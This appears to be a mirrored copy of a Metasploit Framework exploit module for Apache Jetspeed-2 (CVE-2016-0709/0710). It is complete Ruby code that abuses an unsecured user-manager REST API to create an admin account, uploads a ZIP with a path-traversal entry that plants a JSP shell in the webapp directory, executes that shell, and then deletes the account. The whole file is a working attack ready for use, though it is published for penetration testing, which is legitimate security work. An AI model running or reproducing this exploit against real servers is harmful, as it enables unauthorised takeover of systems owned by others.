CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_jetspeed_file_upload.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Apache Jetspeed Arbitrary File Upload',
15
'Description' => %q{
16
This module exploits the unsecured User Manager REST API and a ZIP file
17
path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier
18
versions, to upload and execute a shell.
19
20
Note: this exploit will create, use, and then delete a new admin user.
21
22
Warning: in testing, exploiting the file upload clobbered the web
23
interface beyond repair. No workaround has been found yet. Use this
24
module at your own risk. No check will be implemented.
25
},
26
'Author' => [
27
'Andreas Lindh', # Vulnerability discovery
28
'wvu' # Metasploit module
29
],
30
'References' => [
31
['CVE', '2016-0710'],
32
['CVE', '2016-0709'],
33
['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
34
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
35
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
36
],
37
'DisclosureDate' => '2016-03-06',
38
'License' => MSF_LICENSE,
39
'Platform' => ['linux', 'win'],
40
'Arch' => ARCH_JAVA,
41
'Privileged' => false,
42
'Targets' => [
43
['Apache Jetspeed <= 2.3.0 (Linux)', 'Platform' => 'linux'],
44
['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win']
45
],
46
'DefaultTarget' => 0
47
))
48
49
register_options([
50
Opt::RPORT(8080)
51
])
52
end
53
54
def print_status(msg='')
55
super("#{peer} - #{msg}")
56
end
57
58
def print_warning(msg='')
59
super("#{peer} - #{msg}")
60
end
61
62
def exploit
63
print_status("Creating admin user: #{username}:#{password}")
64
create_admin_user
65
print_status('Logging in as newly created admin')
66
jetspeed_login
67
print_status("Uploading payload ZIP: #{zip_filename}")
68
upload_payload_zip
69
print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
70
exec_jsp_shell
71
end
72
73
def cleanup
74
print_status("Deleting user: #{username}")
75
delete_user
76
super
77
end
78
79
#
80
# Exploit methods
81
#
82
83
def create_admin_user
84
send_request_cgi(
85
'method' => 'POST',
86
'uri' => '/jetspeed/services/usermanager/users',
87
'vars_post' => {
88
'name' => username,
89
'password' => password,
90
'password_confirm' => password
91
}
92
)
93
send_request_cgi(
94
'method' => 'POST',
95
'uri' => "/jetspeed/services/usermanager/users/#{username}",
96
'vars_post' => {
97
'user_enabled' => 'true',
98
'roles' => 'admin'
99
}
100
)
101
end
102
103
def jetspeed_login
104
res = send_request_cgi(
105
'method' => 'GET',
106
'uri' => '/jetspeed/login/redirector'
107
)
108
109
res = send_request_cgi!(
110
'method' => 'POST',
111
'uri' => '/jetspeed/login/j_security_check',
112
'cookie' => res.get_cookies,
113
'vars_post' => {
114
'j_username' => username,
115
'j_password' => password
116
}
117
)
118
119
@cookie = res.get_cookies
120
end
121
122
# Let's pretend we're mechanize
123
def import_file
124
res = send_request_cgi(
125
'method' => 'GET',
126
'uri' => '/jetspeed/portal/Administrative/site.psml',
127
'cookie' => @cookie
128
)
129
130
html = res.get_html_document
131
import_export = html.at('//a[*//text() = "Import/Export"]/@href')
132
133
res = send_request_cgi!(
134
'method' => 'POST',
135
'uri' => import_export,
136
'cookie' => @cookie
137
)
138
139
html = res.get_html_document
140
html.at('//form[*//text() = "Import File"]/@action')
141
end
142
143
def upload_payload_zip
144
zip = Rex::Zip::Archive.new
145
zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)
146
147
mime = Rex::MIME::Message.new
148
mime.add_part(zip.pack, 'application/zip', 'binary',
149
%Q{form-data; name="fileInput"; filename="#{zip_filename}"})
150
mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
151
mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')
152
153
case target['Platform']
154
when 'linux'
155
register_file_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
156
register_dir_for_cleanup("../temp/#{username}")
157
when 'win'
158
register_file_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
159
register_dir_for_cleanup("..\\temp\\#{username}")
160
end
161
162
send_request_cgi(
163
'method' => 'POST',
164
'uri' => import_file,
165
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
166
'cookie' => @cookie,
167
'data' => mime.to_s
168
)
169
end
170
171
def exec_jsp_shell
172
send_request_cgi(
173
'method' => 'GET',
174
'uri' => "/jetspeed/#{jsp_filename}",
175
'cookie' => @cookie
176
)
177
end
178
179
#
180
# Cleanup methods
181
#
182
183
def delete_user
184
send_request_cgi(
185
'method' => 'DELETE',
186
'uri' => "/jetspeed/services/usermanager/users/#{username}"
187
)
188
end
189
190
#
191
# Utility methods
192
#
193
194
def username
195
@username ||= Rex::Text.rand_text_alpha_lower(8)
196
end
197
198
def password
199
@password ||= Rex::Text.rand_text_alphanumeric(8)
200
end
201
202
def jsp_filename
203
@jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
204
end
205
206
def zip_filename
207
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
208
end
209
end
210
211